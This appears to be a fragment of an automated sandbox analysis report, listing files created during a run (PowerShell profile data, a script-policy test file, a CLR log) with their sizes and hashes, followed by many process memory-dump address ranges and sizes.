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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4140f8ca3c77077d18458c63823b8adf

SHA1
e92fdfc752599bb230c6cd5fcad8ed0007fe2ee0

SHA256
a1d427bf50327e38b88f08f6222f08136585d9b0ca02f04a4007fb2ed4212522

SHA512
bfd976b4c2ccef236327b7e1591d3d6ea0b7b333f5f48f0f289dd05280c8f3cfb55fdb913fc1ff377a1b9a66cfccae45f08cb155b0c38815ac0101f3c75169ca

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b121iree.33m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

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memory/620-133-0x00007FF6F07E0000-0x00007FF6F09F1000-memory.dmp

Filesize
2.1MB

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memory/620-163-0x00007FF6F07E0000-0x00007FF6F09F1000-memory.dmp

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2.1MB

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memory/632-236-0x00007FF49AC00000-0x00007FF49AC10000-memory.dmp

Filesize
64KB

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memory/632-238-0x0000023C6B5E0000-0x0000023C6B5F0000-memory.dmp

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64KB

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memory/632-237-0x0000023C6B5E0000-0x0000023C6B5F0000-memory.dmp

Filesize
64KB

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memory/632-225-0x0000023C6B5E0000-0x0000023C6B5F0000-memory.dmp

Filesize
64KB

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memory/632-224-0x0000023C6B5E0000-0x0000023C6B5F0000-memory.dmp

Filesize
64KB

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memory/632-223-0x0000023C6B5E0000-0x0000023C6B5F0000-memory.dmp

Filesize
64KB

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memory/748-160-0x00000187B5000000-0x00000187B5010000-memory.dmp

Filesize
64KB

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memory/748-159-0x00000187B5000000-0x00000187B5010000-memory.dmp

Filesize
64KB

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memory/816-258-0x00007FF6B95B0000-0x00007FF6B95C6000-memory.dmp

Filesize
88KB

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memory/816-250-0x00007FF6B95B0000-0x00007FF6B95C6000-memory.dmp

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88KB

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memory/1104-275-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-293-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-319-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-317-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-315-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-313-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-311-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-309-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-307-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-305-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-303-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-301-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-299-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-297-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-295-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-291-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-243-0x0000022A78E00000-0x0000022A78E20000-memory.dmp

Filesize
128KB

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memory/1104-289-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-287-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-281-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-248-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-249-0x0000022A79020000-0x0000022A79060000-memory.dmp

Filesize
256KB

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memory/1104-251-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-279-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-252-0x0000022A79090000-0x0000022A790B0000-memory.dmp

Filesize
128KB

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memory/1104-253-0x0000022A790B0000-0x0000022A790D0000-memory.dmp

Filesize
128KB

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memory/1104-255-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-256-0x0000022A79090000-0x0000022A790B0000-memory.dmp

Filesize
128KB

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memory/1104-257-0x0000022A790B0000-0x0000022A790D0000-memory.dmp

Filesize
128KB

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memory/1104-277-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-259-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-265-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/1104-267-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-269-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-271-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

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8.0MB

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memory/1104-273-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp

Filesize
8.0MB

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memory/2056-164-0x000001A27F410000-0x000001A27F420000-memory.dmp

Filesize
64KB

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memory/2056-165-0x000001A27F410000-0x000001A27F420000-memory.dmp

Filesize
64KB

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memory/2260-205-0x000001A4342F0000-0x000001A4342FA000-memory.dmp

Filesize
40KB

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memory/2260-191-0x000001A41A830000-0x000001A41A840000-memory.dmp

Filesize
64KB

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memory/2260-208-0x000001A434330000-0x000001A434336000-memory.dmp

Filesize
24KB

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memory/2260-209-0x000001A434340000-0x000001A43434A000-memory.dmp

Filesize
40KB

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memory/2260-203-0x00007FF4CB540000-0x00007FF4CB550000-memory.dmp

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64KB

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memory/2260-204-0x000001A434310000-0x000001A43432C000-memory.dmp

Filesize
112KB

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memory/2260-207-0x000001A434300000-0x000001A434308000-memory.dmp

Filesize
32KB

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memory/2260-189-0x000001A41A830000-0x000001A41A840000-memory.dmp

Filesize
64KB

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memory/2260-206-0x000001A434350000-0x000001A43436A000-memory.dmp

Filesize
104KB

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memory/2260-190-0x000001A41A830000-0x000001A41A840000-memory.dmp

Filesize
64KB

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memory/2260-202-0x000001A4341A0000-0x000001A4341AA000-memory.dmp

Filesize
40KB

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memory/2260-201-0x000001A4340C0000-0x000001A4340DC000-memory.dmp

Filesize
112KB

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memory/3440-145-0x00000186E2E50000-0x00000186E2E60000-memory.dmp

Filesize
64KB

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memory/3440-178-0x00000186E2E50000-0x00000186E2E60000-memory.dmp

Filesize
64KB

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memory/3440-134-0x00000186E2E10000-0x00000186E2E32000-memory.dmp

Filesize
136KB

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memory/3440-147-0x00000186E2E50000-0x00000186E2E60000-memory.dmp

Filesize
64KB

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memory/4308-244-0x00007FF79BA30000-0x00007FF79BC41000-memory.dmp

Filesize
2.1MB

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memory/4308-235-0x00007FF79BA30000-0x00007FF79BC41000-memory.dmp

Filesize
2.1MB

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memory/4308-179-0x00007FF79BA30000-0x00007FF79BC41000-memory.dmp

Filesize
2.1MB

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